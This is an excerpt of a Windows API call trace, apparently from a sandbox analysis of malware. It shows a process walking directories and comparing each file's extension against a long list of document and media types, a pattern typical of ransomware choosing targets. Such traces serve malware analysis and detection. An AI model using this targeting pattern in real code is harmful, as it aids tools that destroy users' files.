	[0171.115] lstrlenW (lpString=".dcm") returned 4
	[0171.115] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dcr") returned 4
	[0171.115] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".der") returned 4
	[0171.115] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dib") returned 4
	[0171.115] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dic") returned 4
	[0171.115] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dif") returned 4
	[0171.115] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".divx") returned 5
	[0171.115] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0171.115] lstrlenW (lpString=".djvu") returned 5
	[0171.115] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0171.115] lstrlenW (lpString=".dng") returned 4
	[0171.115] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".doc") returned 4
	[0171.115] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".docm") returned 5
	[0171.116] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0171.116] lstrlenW (lpString=".docx") returned 5
	[0171.116] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0171.116] lstrlenW (lpString=".dot") returned 4
	[0171.116] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dotm") returned 5
	[0171.116] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0171.116] lstrlenW (lpString=".dotx") returned 5
	[0171.116] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0171.116] lstrlenW (lpString=".dpx") returned 4
	[0171.116] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dqy") returned 4
	[0171.116] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dsn") returned 4
	[0171.116] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dt") returned 3
	[0171.116] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0171.116] lstrlenW (lpString=".dtd") returned 4
	[0171.116] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dwg") returned 4
	[0171.116] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dwt") returned 4
	[0171.116] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".dx") returned 3
	[0171.116] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0171.116] lstrlenW (lpString=".dxf") returned 4
	[0171.116] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".edml") returned 5
	[0171.116] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0171.116] lstrlenW (lpString=".efd") returned 4
	[0171.116] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".elf") returned 4
	[0171.116] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".emf") returned 4
	[0171.116] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0171.116] lstrlenW (lpString=".emz") returned 4
	[0171.116] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0171.204] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.208] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.212] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.212] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.213] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.213] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.214] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.215] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.216] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.217] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.217] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.217] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.218] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.219] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.219] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0171.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.220] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.221] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.221] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.222] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.222] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.222] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.222] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.223] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.223] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.223] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.224] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.224] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.224] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0171.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.224] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0171.224] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0171.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.224] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0171.225] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0171.225] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0171.226] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0171.228] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.228] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0
	[0171.228] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.235] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1
	[0171.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.236] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0
	[0171.236] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.236] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0
	[0171.236] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0171.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0171.236] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1
	[0171.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0171.236] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1
